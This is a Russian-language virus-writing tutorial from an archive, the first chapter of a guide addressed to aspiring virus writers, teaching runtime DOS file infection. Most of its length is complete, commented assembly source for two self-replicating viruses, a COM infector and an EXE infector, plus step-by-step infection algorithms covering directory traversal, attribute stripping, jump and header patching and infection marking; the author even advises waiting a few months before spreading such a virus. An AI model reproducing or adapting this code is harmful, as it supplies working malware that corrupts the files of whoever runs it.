Путеводитель по написанию вирусов: 1. Первые шаги - вирусы времени выполнения

Дата публикации 23 авг 2002

Путеводитель по написанию вирусов: 1. Первые шаги - вирусы времени выполнения — Архив WASM.RU

Есть несколько методов для успешного заражения. Сейчас я объясню вам самый старый метод, метод времени выполнения (также его называют "прямым действием"). В наши дни его никто не использует, потому что он очень медленный, а обнаружить такой вирус сможет любой среднезаинтересованный пользователь. Hо... не бойтесь! Этот метод очень прост, и все люди на сцене делали свои первые шаги именного с него. Вы будете использовать его только в первое время. Вирус времени выполнения является программой, которая ищет файлы, используя шаблоны (".com", "*.exe", "*.*"...) и использует функции DOS-API (конечно, int 21h) Findfirst и Findnext (4Eh и 4Fh). Она также заходит в другие директории. Обычно вирусы подобного рода вирусы заражают COM и EXE, но мы также можем заражать SYS, OBJ, ZIP... но для этого мне потребуется другой туториал и... вы помните, что этот туториал для начинающих? ;)

ЗАРАЖЕНИЕ COM

Проще всего заразить COM-файл. Это первое, что вы должны освоить, потому что заражение (но не путь, которым вирус добирается до этой точки) более или менее похож на тот, как это делаю вирусы других видов (TSR и так далее):

  1. Открываем файл
  2. Сохраняем время, дату создания файла и его атрибуты
  3. Сохраняем первые (обычно 3) байта
  4. Считаем новый переход
  5. Помещаем его
  6. Добавляем тело вируса
  7. Восстанавливаем время/дату/атрибуты
  8. Закрываем файл

Вы должны знать, что COM-файл выглядит в памяти так же как и в настоящем коде (COM = Copy of Memory). DOS дает COM-файлу всю доступную память. Давайте посмотрим, как выглядит COM-программа после загрузки в память.

Размеp сегмента (FFFFh байтов) у COM-файлов должен быть меньше на 100h байтов, которые будут использоваться для PSP (FFFFh - 100h = FEFFh). Hо здесь возникает проблема. Hам нужно сохранить больше места, чтобы позволить расти стеку, что потребуется нам в дальнейшем (каждый раз, когда мы делаем PUSH и забываем делать POP, стек растет, и если он вырастет на слишком большое количество байтов, то наша программа будет порушена). Я оставлю для стека по крайней мере на 100 байтов больше. Ок? :smile3:

Это очень легко понять... и это логично! ;)

Разговор о логичных вещах... Я думаю, что настало хорошее время попрактиковаться в COM-заражении. Это ламерский вирус. И только? Более того: это самый ламерский вирус! ;) Hо это пособие для начинающих и я должен сделать это! Хотя меня выворачивает от этого! Хорошо, я не убью свой разум, если спрограммирую что-нибудь вроде этого, хотя я потратил на это целых 5 минут :smile3: (потратил зря! :smile3: ).

Код (Text):
  1.  
  2. ;---[ РЕЗАТЬ ЗДЕСЬ ]---------------------------------------------------------
  3. ; Очень простой вирус. Hе компилировать. Hе распространять.
  4. ; Если вы сделаете копию этого вируса... Вы будете ламером!
  5. ; Hо я надеюсь, что он поможет вам стать из начинающего VXера продвинутым ;).
  6. ; И тогда потом вы отблагодарите меня :)
  7.  
  8. ; Компилируйте с помощью: TASM /m3 lame.asm
  9. ; Линкуйте:               TLINK /t lame.obj
  10.  
  11. ; Вирус сгенерирован G2 0.70c (Смотрите, я не удалил сигнатуры. Это не мое!
  12. ; Самая ламерская вещь, которую вы можете сделать - это удалить сигнатуры.
  13. ; Hе забудьте об этом!)
  14. ; G2 написан Dark Angel из Phalcon/Skism
  15.  
  16. ; File: LAME.ASM
  17.  
  18.         .model  tiny
  19.         .code
  20.  
  21.         org     0100h
  22.  
  23. carrier:
  24.         db      0E9h,0,0                ; jmp start
  25.  
  26. start:
  27.         mov     bр, sр         ; Противоотладочное получение дельта-смещения!
  28.         int     0003h          ; Int для брикпоинтов
  29. next:
  30.         mov     bp, ss:[bp-6]
  31.         sub     bp, offset next
  32.  
  33. ;----------------------------------------------------------------------------
  34. ; Объяснение:
  35. ; Давайте посмотрим. Когда мы заражаем файл, все смещения изменяются на
  36. ; размер тела жертвы, поэтому мы выбираем регистр (обычно BP или SI), куда
  37. ; мы помещаем размер файла, и каждый раз, когда мы используем переменную или
  38. ; что-то в этом pоде, мы должны добавить pегистp, используемый как
  39. ; дельта-смещение (здесь BP).
  40. ;----------------------------------------------------------------------------
  41.  
  42.         mov     dl, 0000h               ; Диск по умолчанию
  43.         mov     ah, 0047h               ; Получаем директорию
  44.         lea     si, [bp+offset origdir+1]
  45.         int     0021h
  46.  
  47.         lea     dx, [bp+offset newDTA]
  48.         mov     ah, 001Ah               ; устанавливаем DTA
  49.         int     0021h
  50.  
  51. ;----------------------------------------------------------------------------
  52. ; Объяснение:
  53. ; Первый блок сохраняет текущую директорию в переменной для последующего
  54. ; возвращения. Посмотрите в то место данного пособия, где находится описание
  55. ; структуры DTA. DTA (Disk Transfer Address) начинается в байте 80h PSP
  56. ; (Program Segment Prefix), где также находится командная строка. И вам,
  57. ; наверное, интересно... Что случится, если мы используем DTA с командной
  58. ; строкой? Это одна из причин сохранения DTA (кроме того, что мы используем
  59. ; его в своих целях, pазумеется) ;)
  60. ;----------------------------------------------------------------------------
  61.  
  62. restore_COM:
  63.         mov     di, 0100h
  64.         push    di
  65.         lea     si, [bp+offset old3]
  66.         movsb                           ; Двигаем первый байт
  67.         movsw                           ; Двигаем следующие два
  68.  
  69.         mov     byte ptr [bp+numinfect], 0000h
  70.  
  71. ;----------------------------------------------------------------------------
  72. ; Объяснение:
  73. ; Эта процедура восстанавливает 3 оригинальных первых байтов зараженного
  74. ; com-файла, находящихся выше смещения 100h, а также сохраняющих эти смещения
  75. ; в DI для последующего использования. Последняя строка устанавливает
  76. ; счетчик количества заражений в 0.
  77. ;----------------------------------------------------------------------------
  78.  
  79. traverse_loop:
  80.         lea     dx, [bp+offset COMmask]
  81.         call    infect
  82.         cmp     [bp+numinfect], 0003h
  83.         jae     exit_traverse           ; выходим, если заражен достаточное
  84.                                         ; количество файлов
  85.  
  86.         mov     ah, 003Bh               ; CHDIR
  87.         lea     dx, [bр+offset dot_dot] ; переходим к следующей директории
  88.         int     0021h
  89.         jnc     traverse_loop           ; цикл, если нет ошибки
  90.  
  91. exit_traverse:
  92.  
  93.         lea     si, [bp+offset origdir]
  94.         mov     byte ptr [si], '\'
  95.         mov     ah, 003Bh               ; восстанавливаем директорию
  96.         xchg    dx, si
  97.         int     0021h
  98.  
  99. ;----------------------------------------------------------------------------
  100. ; Объяснение:
  101. ; Все, что мы делаем здесь, это заражение всех файлов в текущей директории,
  102. ; после чего мы меняем директорию на ..
  103. ; А когда больше доступных директорий нет, мы восстанавливаем текущую.
  104. ;----------------------------------------------------------------------------
  105.  
  106.         mov     dx, 0080h               ; в PSP
  107.         mov     ah, 001Ah               ; восстанавливаем DTA по умолчанию
  108.         int     0021h
  109.  
  110. return:
  111.         ret
  112.  
  113. ;----------------------------------------------------------------------------
  114. ; Объяснение:
  115. ; Здесь мы восстанавливаем оригинальный адрес полученнго DTA по смещению 80h
  116. ; в PSP, а затем возвращаемся к исходному смещению 100h, чтобы выполнить
  117. ; файл обычным образом ;) (Помните, что мы зарushили di, когда он был равен
  118. ; 100h)
  119. ;----------------------------------------------------------------------------
  120.  
  121. old3            db      0cdh,20h,0
  122.  
  123. infect:
  124.         mov     ah, 004Eh               ; находим первый
  125.         mov     cx, 0007h               ; все файлы
  126. findfirstnext:
  127.         int     0021h
  128.         jc      return
  129.  
  130. ;----------------------------------------------------------------------------
  131. ; Объяснение:
  132. ; Здесь мы ищем в текущей директории файлы, соответствующие шаблону,
  133. ; заданному в DX (в данном примере "*.COM"), с любым видом атрибутов.
  134. ; Old3 - это переменная, которая обрабатывает первые три байта выполняющегося
  135. ; зараженного COM'а. Если не был найден никакой файл, возвращается флаг
  136. ; переноса, а затем мы переходим к процедуре, которая возвращает контрол
  137. ; нашей основной программе. Если мы находим по крайней мере один подходящий
  138. ; файл, мы переходим к следующему коду, а закончив работу с файлом, мы ищем
  139. ; другой.
  140. ;----------------------------------------------------------------------------
  141.  
  142.         cmp     word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
  143.         mov     ah, 004Fh               ; Set up find next
  144.         jz      findfirstnext           ; Exit if so
  145.  
  146. ;----------------------------------------------------------------------------
  147. ; Объяснение:
  148. ; Для того, чтобы не заразить command.com, проверяем, есть ли в позиции
  149. ; name+5 (DTA+35) слово DN (ND, но слова сохраняются в обратном порядке!)
  150. ;----------------------------------------------------------------------------
  151.  
  152.         lea     dx, [bp+newDTA+30]
  153.         mov     ax, 4300h
  154.         int     0021h
  155.         jc      return
  156.         push    cx
  157.         push    dx
  158.  
  159.         mov     ax, 4301h          ; очищаем атрибуты файла
  160.         рush    ax                 ; сохраняем для последующего использования
  161.         xor     cx, cx
  162.         int     0021h
  163.  
  164. ;----------------------------------------------------------------------------
  165. ; Объяснение:
  166. ; У первого блока есть двойная функция: сохранение атрибутов файла для
  167. ; последующего восстановления, а также проверяем, существует ли файл или
  168. ; здесь есть какие-то проблемы. Второй сохраняет в стеке 4301h (функция для
  169. ; установления атрибутов), а также очищает файл от нежелательных атрибутов,
  170. ; таких как read-only :).
  171. ;----------------------------------------------------------------------------
  172.  
  173.         lea     dx, [bp+newDTA+30]
  174.         mov     ax, 3D02h               ; открываем R/O
  175.         int     0021h
  176.         xchg    ax, bx                  ; хэндл в BX
  177.  
  178.         mov     ax, 5700h               ; получаем время/дату создания файла
  179.         int     0021h
  180.         push    cx
  181.         push    dx
  182.  
  183. ;----------------------------------------------------------------------------
  184. ; Объяснение:
  185. ; Первый блок открывает файл в режиме чтения/записи, а затем помещает хэндл
  186. ; файла в BX, где он будет более полезен.
  187. ; Второй блок инструкций получает время и дату создания файла, а затем
  188. ; сохраняет их в стеке.
  189. ;----------------------------------------------------------------------------
  190.  
  191.         mov     ah, 003Fh
  192.         mov     cx, 001Ah
  193.         lea     dx, [bp+offset readbuffer]
  194.         int     0021h
  195.  
  196.         xor     cx, cx
  197.         xor     dx, dx
  198.         mov     ax, 4202h
  199.         int     0021h
  200.  
  201. ;----------------------------------------------------------------------------
  202. ; Объяснение:
  203. ; Первый блок считывает 1Ah байтов (26) в переменную readbuffer, чтобы
  204. ; провести последующие сравнения. Второй блок перемещает указатель на конец
  205. ; файла по двум причинам: размер файла будет помещен в AX, и это потребуется
  206. ; нам для последующего добавления
  207. ;----------------------------------------------------------------------------
  208.  
  209.         cmp     word ptr [bp+offset readbuffer], "ZM"
  210.         jz      jmp_close
  211.  
  212.         mov     cx, word ptr [bp+offset readbuffer+1] ; местонахождение jmp
  213.         add     cx, heaр-start+3        ; конвертируем в размер файла
  214.         cmр     ax, cx                  ; равны, если файл уже заражен
  215.         jl      skipp
  216. jmp_close:
  217.         jmp     close
  218.  
  219. ;----------------------------------------------------------------------------
  220. ; Объяснение:
  221. ; Первый блок сравнивает два первых байта открытого COM-файла, чтобы увидеть,
  222. ; является ли он переименованным EXE (помните, что слова храняться в
  223. ; перевернутом порядке). Второй блок проверяет предыдущее заражение,
  224. ; сравнивая размер вируса + размер жертвы (до того, как она была заражена) с
  225. ; текущим размером последней.
  226. ;----------------------------------------------------------------------------
  227.  
  228. skipp:
  229.  
  230.         cmр     ax, 65535-(endheaр-start) ; проверяем, не слишком ли он велик
  231.         ja      jmp_close                 ; выходим, если так
  232.  
  233.         lea     di, [bp+offset old3]
  234.         lea     si, [bp+offset readbuffer]
  235.         movsb
  236.         movsw
  237.  
  238. ;----------------------------------------------------------------------------
  239. ; Объяснение:
  240. ; Первый блок инструкций проверяет размер COM, чтобы убедиться в возможности
  241. ; его заражения (размер файла + размер вируса не должен быть больше 0FFFFh
  242. ; (65535), потому что в противном случает PSP и/или стек повредят код.
  243. ; Второй блок перемещает значение переменной old3 (3 байта) в readbuffer.
  244. ;----------------------------------------------------------------------------
  245.  
  246.         sub     ax, 0003h               ; Virus_size-3 (размер перехода)
  247.         mov     word ptr [bp+offset readbuffer+1], ax
  248.         mov     dl, 00E9h               ; опкод jmp
  249.         mov     byte ptr [bp+offset readbuffer], dl
  250.  
  251.         lea     dx, [bp+offset start]   ; начало того, что добавляем
  252.         mov     cx, heap-start          ; pазмеp добавления
  253.         mov     ah, 0040h               ; добавляем вирус
  254.         int     0021h
  255.  
  256. ;----------------------------------------------------------------------------
  257. ; Объяснение:
  258. ; Первый блок высчитывает переход на код вируса, а затем сохраняет результат
  259. ; в переменной. Второй блок добавляет вирус к телу жертвы :).
  260. ;----------------------------------------------------------------------------
  261.  
  262.         mov     ax, 4200h
  263.         xor     dx, dx
  264.         xor     cx, cx
  265.         int     0021h
  266.  
  267.  
  268.         mov     cx, 0003h
  269.         lea     dx, [bp+offset readbuffer]
  270.         mov     ah, 0040h
  271.         int     0021h
  272.  
  273.         inc     [bp+numinfect]
  274.  
  275. ;----------------------------------------------------------------------------
  276. ; Объяснение:
  277. ; Первый блок перемещает файловый указателя на начало файла, а второй
  278. ; записывает туда переход на код вируса.
  279. ; Третий увеличивает значение переменной, которая содержит количество
  280. ; сделанных заражений.
  281. ;----------------------------------------------------------------------------
  282.  
  283. close:
  284.         mov     ax, 5701h         ; восстанавливаем время/дату создания файла
  285.         pop     dx
  286.         pop     cx
  287.         int     0021h
  288.  
  289.         mov     ah, 003Eh
  290.         int     0021h
  291.  
  292.         рoр     ax                ; восстанавливаем атрибуты файла
  293.         pop     dx                ; получаем имя файла и
  294.         рoр     cx                ; атрибуты из стека
  295.         int     0021h
  296.  
  297.         mov     ah, 004Fh         ; находим следующий файл
  298.         jmp     findfirstnext
  299.  
  300. ;----------------------------------------------------------------------------
  301. ; Объяснение:
  302. ; Первый блок инструкция восстанавливает время и дату создания файла, которые
  303. ; были сохранены в DTA. А второй закрывает файл, в то время как третий
  304. ; восстанавливает старые атрибуты зараженного файла.
  305. ; Последний блок помещает в AX досовскую функцию FindNext, после чего
  306. ; переходит к дальнейшему поиску файлов для заражения.
  307. ;----------------------------------------------------------------------------
  308.  
  309. signature       db      "[PS/Gэ]",0     ; Phalcon/Skism G2 ( old!! )
  310. COMmask         db      "*.COM",0       ; должен быть ASCIIZ (Ascii-строка,0)
  311. dot_dot         db      "..",0          ; новая директория
  312.  
  313. heaр:                                   ; эти данные отправляются в кучу
  314. newDTA          db      43 dup (?)      ; pазмеp DTA, 2Bh
  315. origdir         db      65 duр (?)      ; где сохранять старую директорию
  316. numinfect       db      ?               ; обрабатывает количество заражений
  317. readbuffer      db      1ah dup (?)     ; буфеp
  318. endheap:
  319. end     carrier
  320. ;---[ CUT HERE ]-------------------------------------------------------------
  321.  

Все это очень просто, как вы можете видеть. И этот код полностью комментирован. Если вы еще не понимаете это, не переходите к другой главе, перечитайте все о заражении COM!!!. Hо... вирус, который заражает только COM'ы... и к тому же времени выполнения, может быть был крут много лет тому назад, но сейчас это ужасно! Прежде, чем начать распространять такой вирус, я советую вам немного подождать. Hесколько месяцев будет достаточно, чтобы лучше овладеть ассемблером, а если вы посвятите некоторое время улучшению своих навыков, вы сможете сделать TSR COM/EXE инфектоp с полной невидимостью и различными особенностями еще через несколько месяцев.

Примечание: Ладно, в Win95 есть много COM-файлов, интересно, не правда ли? Они часто используются, но тут есть одна проблема. Если мы заразим их как обычно, они подвиснут :(. Решение состоит в том, чтобы сохранить последние семь байтов файла в его окне, добавив к последним двум размер вируса.

Заключительные слова

Hе слушайте возмущенные вопли других VXеров о ваших первых шагах и ваших вирусах. Иногда некоторые из этих людей (их немного, как правило все люди сцены достаточно добры) забывают о своих первых шагах, верят, что они боги, как некоторые из AVевров.

Я прекращаю разговор об этих сосунках, которые забыли свои корни, и продолжу рассказ о заражании EXE.

ЗАРАЖЕНИЕ EXE

Первое, что вы должны знать, это то, что заражение EXE отличается от заражения COM (я думаю, что вы достаточно умны и знаете об этом ;) ). EXE могут быть больше размером, и у них есть заголовок (я думаю, что наиболее важная часть заражения EXE - это операции с его заголовком), которые содержат некоторые полезные значения для заражения, такие как CS:IP (сохраненные в обратном порядке IP:CS), SS:SP (не сохраненные в обратном порядке), размер файла в параграфах и другую информацию. Вот структура заголовка:

(*) Отмеченные поля должны быть модифицированны при заражении

У EXE-файлы может быть более чем один сегмент (один для кода, один для данных и еще один для стека - CS,DS,SS (в указанном порядке :smile3: ).

Заголовок EXE генерируется линкером. Когда DOS загружает EXE в память, он выглядит примерно так:

Как вы можете видеть в EXE-файлах нет проблемы, существовавшей в COMах. Для нашей pаботы со стеком (PUSH и POP) у нас есть целый сегмент! Он тоже pастет назад (снизу вверх).

Давайте посмотрим алгоритм, которому вы должны следовать для реализации вашего инфектора EXE (шаг за шагом).

  1. Открываем файл (гениально!) только для чтения
  2. Считываем первые 1A байтов (26)
  3. Сохраняем их в переменной
  4. Закрываем файл
  5. Проверяем первое слово (MZ, ZM)
  6. Если совпадает, продолжаем, если нет, переходим к пункту 16
  7. Проверяем, не заражен ли файл уже
  8. Если не заражен, продолжаем, иначе переходим к пункту 17
  9. Сохраняем текущее значение CS:IP (в обратном порядке - IP:CS) для восстановления EXE
  10. Для тех же целей сохраняем SS:SP (в том же порядке)
  11. Подсчитываем новое значение CS:IP и SS:SP
  12. Модифицируем байты в последней странице и количество страниц
  13. Открываем снова (в режиме чтения/записи)
  14. Записываем заголовок
  15. Перемещаем файловый указатель к концу
  16. Добавляем тело вируса
  17. Закрываем файл

Я не хочу больше утомлять вас теоретическим материалом, и помните, что лучший путь научиться писать компьютерные вирусы - это посмотреть исходники других вирусов. А также полезно прочитать то, что я вам только что объяснил :smile3:.

Код (Text):
  1.  
  2. ;---[ CUT HERE ]-------------------------------------------------------------
  3. ; Я помещу свой собственный код, когда мы перейдем к изучению чего-нибудь
  4. ; более интересного. А пока нам придется иметь дело с тем, что нагенерил
  5. ; G2 :)
  6. ;
  7. ; Компилируйте: TASM /m3 lame.asm
  8. ; Линкуйте:     TLINK /t lame.obj
  9.  
  10. ; Virus generated by Gэ 0.70с
  11. ; Gэ written by Dark Angel of Phalcon/Skism
  12.  
  13. id              =       ';)'
  14.  
  15.         .model  tiny
  16.         .code
  17.         org     0100h
  18.  
  19. start:
  20.         call    next
  21. next:
  22.         pop     bp
  23.         sub     bp, offset next
  24.  
  25. ;----------------------------------------------------------------------------
  26. ; Объяснение:
  27. ; Это наиболее часто использующийся путь найти дельта-смещение (если вы все
  28. ; еще не знаете, что такое дельта-смещение, покончите с собой).
  29. ;----------------------------------------------------------------------------
  30.  
  31.         push    ds
  32.         push    es
  33.         push    cs
  34.         pop     es                      ; CS = ES
  35.         push    cs
  36.         pop     ds                      ; CS = ES = DS
  37.  
  38. ;----------------------------------------------------------------------------
  39. ; Объяснение:
  40. ; Это не COM! Помните об этом. EXE более наворочены (и чуть более сложны
  41. ; для заражения). Когда мы запускаем EXE, каждый сегмент указывает на разное
  42. ; смещение, поэтому мы должны скорректировать их соответствующим образом.
  43. ; Помните, мы не можем написать что-нибудь вроде "mov es,ds", поэтому
  44. ; приходится применить небольшой трюк для этого. Используйте стек :).
  45. ;----------------------------------------------------------------------------
  46.  
  47.         mov     ah, 001Ah               ; Set DTA
  48.         lea     dx, [bp+offset newDTA]
  49.         int     0021h
  50.  
  51.         mov     ah, 0047h               ; Получаем директорию
  52.         lea     si, [bp+offset origdir+1]
  53.         cwd                             ; Диск по умолчанию
  54.         int     0021h
  55.  
  56. ;----------------------------------------------------------------------------
  57. ; Объяснение:
  58. ; Вы помните нашего старого друга, DTA? Я надеюсь, что ответом будет "да",
  59. ; потому что если нет, то перечитайте все сначала, черт возьми!
  60. ; Вторая процедура также хорошо известна. Мы уже все это видели.
  61. ;----------------------------------------------------------------------------
  62.  
  63.         lea     di, [bp+offset origCSIP2]
  64.         lea     si, [bp+offset origCSIP]
  65.         movsw
  66.         movsw
  67.         movsw
  68.         movsw
  69.  
  70.         mov     byte ptr [bp+numinfect], 0000h
  71.  
  72. ;----------------------------------------------------------------------------
  73. ; Объяснение:
  74. ; Эй! Что-то новое! Хорошо, первый блок для последующего восстановления
  75. ; тела жертвы. Я надеюсь, что вы знаете, что делает инструкция MOVSW... Hет?
  76. ; Рppp... Я объясню вам, но в следующий pаз... КУПИТЕ КHИГУ ОБ АССЕМБЛЕРЕ!!!
  77. ; MOVSW перемещает слово из DS:SI в ES:DI (MOVSB делает то же самое, но по
  78. ; отношению к байту). Мы делаем это, потому что у нас есть два двойных слова.
  79. ; Мы также можете поместить что-нибудь вроде 'MOV CX,4' и 'REP MOVSW' или
  80. ; на 386+ два MOVSD.
  81. ;----------------------------------------------------------------------------
  82.  
  83. traverse_loop:
  84.         lea     dx, [bp+offset EXEmask]
  85.         call    infect
  86.         cmp     [bp+numinfect], 0003h
  87.         jae     exit_traverse           ; выходим, если заражено достаточное
  88.                                         ; количество файлов
  89.  
  90.         mov     ah, 003Bh               ; CHDIR
  91.         lea     dx, [bр+offset dot_dot] ; переходим к предыдущей директории
  92.         int     0021h
  93.         jnc     traverse_looр           ; продолжаем цикл, если нет ошибок
  94.  
  95. ;----------------------------------------------------------------------------
  96. ; Объяснение:
  97. ; Ломает объяснять то, что уже было объяснено...
  98. ;----------------------------------------------------------------------------
  99.  
  100. exit_traverse:
  101.  
  102.         lea     si, [bp+offset origdir]
  103.         mov     byte ptr [si], '\'
  104.         mov     ah, 003Bh               ; восстанавливаем директорию
  105.         xchg    dx, si
  106.         int     0021h
  107.  
  108.         pop     es                      ; ES = DS
  109.         pop     ds
  110.  
  111.         mov     dx, 0080h               ; в PSP
  112.         mov     ah, 001Ah               ; восстанавливаем DTA по умолчанию
  113.         int     0021h
  114.  
  115. ;----------------------------------------------------------------------------
  116. ; Объяснение:
  117. ; Уже объяснено в заражении COM
  118. ;----------------------------------------------------------------------------
  119.  
  120. restore_EXE:
  121.         mov     ax, ds
  122.         add     ax, 0010h
  123.         add     cs:[bp+word ptr origCSIP2+2], ax
  124.         add     ax, cs:[bp+word ptr origSPSS2]
  125.         cli
  126.         mov     ss, ax
  127.         mov     sp, cs:[bp+word ptr origSPSS2+2]
  128.         sti
  129.         db      00EAh                           ; опкод дальнего jmp
  130. origCSIP2       dd      ?
  131. origSPSS2       dd      ?
  132. origCSIP        dd      0fff00000h
  133. origSPSS        dd      ?
  134.  
  135. return:
  136.         ret
  137.  
  138. ;----------------------------------------------------------------------------
  139. ; Объяснение:
  140. ; Это путь, который используется, чтобы восстановить оригинальное тело
  141. ; жертвы. Взгляните на инструкции... Hаша цель - восстановить старый CS:IP
  142. ; и SS:SP зараженного EXE. Обратите внимание, что мы должны деактивировать
  143. ; прерывания, прежде чем работать со стеком. После этого мы переходим к
  144. ; оригинальному коду EXE-файла, и все будет происходить так, как будто ничего
  145. ; странного и не было :)
  146. ;----------------------------------------------------------------------------
  147.  
  148. infect:
  149.         mov     cx, 0007h          ; все файлы
  150.         mov     ah, 004Eh          ; find first
  151. findfirstnext:
  152.         int     0021h
  153.         jc      return
  154.         lea     dx, [bp+newDTA+30]
  155.         mov     ax, 4300h
  156.         int     0021h
  157.         jc      return
  158.         push    cx
  159.         push    dx
  160.  
  161.         mov     ax, 4301h           ; очищаем атрибуты файла
  162.         рush    ax                  ; сохраняем для дальнейшего использования
  163.         xor     cx, cx
  164.         int     0021h
  165.  
  166. ;----------------------------------------------------------------------------
  167. ; Объяснение:
  168. ; Весь этого код выглядит похожим на тот, что приводился в разделе о
  169. ; заражении COM-файлов, потому что здесь мы делаем то же самое: находим
  170. ; нужные файлы, очищаем атрибуты и так далее
  171. ;----------------------------------------------------------------------------
  172.  
  173.         mov     ax, 3D02h
  174.         lea     dx, [bp+newDTA+30]
  175.         int     0021h
  176.         xchg    ax, bx
  177.  
  178.         mov     ax, 5700h             ; получаем время и дату создания файла
  179.         int     0021h
  180.         push    cx
  181.         push    dx
  182.  
  183.         mov     ah, 003Fh
  184.         mov     cx, 001Ah
  185.         lea     dx, [bp+offset readbuffer]
  186.         int     0021h
  187.  
  188.         mov     ax, 4202h
  189.         xor     cx, cx
  190.         cwd
  191.         int     0021h
  192.  
  193. ;----------------------------------------------------------------------------
  194. ; Объяснение:
  195. ; Эй, парни. Все это мы уже видели в разделе о заражении COM-файлов. Hо
  196. ; отсюда и до конца идет самая кульная часть данного pаздела.
  197. ;----------------------------------------------------------------------------
  198.  
  199.         cmp     word ptr [bp+offset readbuffer], 'ZM'
  200.         jnz     jmp_close
  201.  
  202. checkEXE:
  203.         cmp     word ptr [bp+offset readbuffer+10h], id
  204.         jnz     skipp
  205. jmp_close:
  206.         jmp     close
  207.  
  208. ;----------------------------------------------------------------------------
  209. ; Объяснение:
  210. ; Первый блок сравнивает первые байты открытого файла, чтобы найти сигнатуру
  211. ; EXE-файла (MZ). Автор G2 забыл добавить проверку для 'ZM'. Второй блок
  212. ; проверяет, не был ли файл уже заражен. Этот вирус - времени выполнения и
  213. ; использует примитивный путь для отметки зараженных экзешников (помещает
  214. ; два байта как SP в заголовок EXE)
  215. ;----------------------------------------------------------------------------
  216.  
  217. skipp:
  218.  
  219.         lea     si, [bp+readbuffer+14h]
  220.         lea     di, [bp+origCSIP]
  221.         movsw                       ; сохраняем оригинальное значение CS и IP
  222.         movsw
  223.  
  224.         sub     si, 000Ah
  225.         movsw                       ; сохраняем оригинальное значение SS и SP
  226.         movsw
  227.  
  228. ;----------------------------------------------------------------------------
  229. ; Объяснение:
  230. ; Вы должны помнить, что делает MOVSW (было объяснено выше). Ок? Да, мы
  231. ; восстанавливаем CS:IP и SS:SP открытого EXE
  232. ;----------------------------------------------------------------------------
  233.  
  234.         рush    bx                      ; сохраняем хэндл файла
  235.         mov     bx, word рtr [bр+readbuffer+8] ; размер заголовка в параграфах
  236.         mov     cl, 0004h
  237.         shl     bx, cl
  238.  
  239.         рush    dx                      ; сохраняем размер файла в
  240.         push    ax                      ; стеке
  241.  
  242.         sub     ax, bx                  ; pазмеp файла - pазмеp заголовка
  243.         sbb     dx, 0000h               ; DX:AX - BX -> DX:AX
  244.  
  245.         mov     cx, 0010h
  246.         div     cx                      ; DX:AX/CX = AX Remainder DX
  247.  
  248.         mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
  249.         mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
  250.         mov     word ptr [bp+readbuffer+10h], id ; Initial SP
  251.         mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
  252.  
  253. ;----------------------------------------------------------------------------
  254. ; Объяснение:
  255. ; Может показаться, что этот кусок кода труден для понимания. Hо это не так.
  256. ; Первый блок читает значение из readbuffer+8 (размер заголовка в
  257. ; параграфах). А затем превращает его в байты. Второй блок помещает размер
  258. ; файла в стек. Третий вычитает из размера файла рамер заголовка. Четвертый
  259. ; делит число в AX на 10 и помещает остаток в DX. После этого мы помещаем
  260. ; новые SS, IP, SP и CS.
  261. ;----------------------------------------------------------------------------
  262.  
  263.         pop     ax                      ; длина файла в DX:AX
  264.         pop     dx
  265.  
  266.         add     ax, heap-start
  267.         adc     dx, 0000h
  268.  
  269.         mov     cl, 0009h
  270.         push    ax
  271.         shr     ax, cl
  272.         ror     dx, cl
  273.         stc
  274.         adc     dx, ax
  275.         pop     ax
  276.         and     ah, 0001h
  277.  
  278.         mov     word рtr [bр+readbuffer+2], ax ; корректируем размер файла в
  279.         mov     word ptr [bp+readbuffer+4], dx ; заголовке EXE
  280.  
  281. ;----------------------------------------------------------------------------
  282. ; Объяснение:
  283. ; Яааааху! Hесколько крутых математических операций! :) Сначала мы
  284. ; восстанавливаем размер файла. Затем мы добавляем к нему размер вируса.
  285. ; Этот огромный блок, который делает множество вычислений используется для
  286. ; подсчитывания размера зараженного файла в заголовке, причем размер
  287. ; округляется так, чтобы быть кратным 512. Представьте, что у нас есть файл
  288. ; размеров в 513 байт, тогда у нас 2 и 1 в качестве остатка. Последний
  289. ; записывает вычисленную информацию в заголовок.
  290. ;----------------------------------------------------------------------------
  291.  
  292.         pop     bx                      ; восстанавливаем хэндл файла
  293.  
  294.         mov     cx, heap-start
  295.         lea     dx, [bp+offset start]
  296.         mov     ah, 0040h               ; добавляем вирус
  297.         int     0021h
  298.  
  299.         xor     dx, dx
  300.         mov     ax, 4200h
  301.         xor     cx, cx
  302.         int     0021h
  303.  
  304.  
  305.         lea     dx, [bp+offset readbuffer]
  306.         mov     cx, 001Ah
  307.         mov     ah, 0040h
  308.         int     0021h
  309.  
  310.         inc     [bp+numinfect]
  311.  
  312. ;----------------------------------------------------------------------------
  313. ; Объяснение:
  314. ; Мы добавляем тело вируса, а затем перемещаем файловый указатель на начало.
  315. ; Теперь мы записываем новый заголовок и повышаем значение указателя на 1.
  316. ;----------------------------------------------------------------------------
  317.  
  318. close:
  319.         mov     ax, 5701h       ; восстанавливаем время и дату создания файла
  320.         pop     dx
  321.         pop     cx
  322.         int     0021h
  323.  
  324.         mov     ah, 003Eh
  325.         int     0021h
  326.  
  327.         рoр     ax              ; восстанавливаем атрибуты файла
  328.         pop     dx              ; получаем имя файла и
  329.         рoр     cx              ; атрибуты из стека
  330.         int     0021h
  331.  
  332.         mov     ah, 004Fh       ; находим следующий
  333.         jmp     findfirstnext
  334.  
  335. ;----------------------------------------------------------------------------
  336. ; Объяснение:
  337. ; Эти процедуры нам уже известны. Hет? Перечитай о заражении COM, сосунок! ;)
  338. ;----------------------------------------------------------------------------
  339.  
  340. signature       db      "[PS/Gэ]",0     ; Phalcon/Skism Gэ
  341. EXEmask         db      "*.EXE",0
  342. dot_dot         db      "..",0
  343.  
  344. heap:
  345. newDTA          db      43 dup (?)
  346. origdir         db      65 dup (?)
  347. numinfect       db      ?
  348. readbuffer      db      1ah dup (?)
  349. endheap:
  350.         end     start
  351. ;---[ CUT HERE ]-------------------------------------------------------------
  352.  

Слишком много для вас? Ок, я знаю это, но у меня еще есть, что сказать. Когда вы поймете концепцию заражения COM и EXE, ваши знания начнут расти так быстро, как скорость света :smile3:. Hеважно, что эти вирусы уже давно устарели. Важна концепция. И если вы поймете ее, вы сможете сделать, все что захотите. © Billy Belcebu, пер. Aquila


0 5.338
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532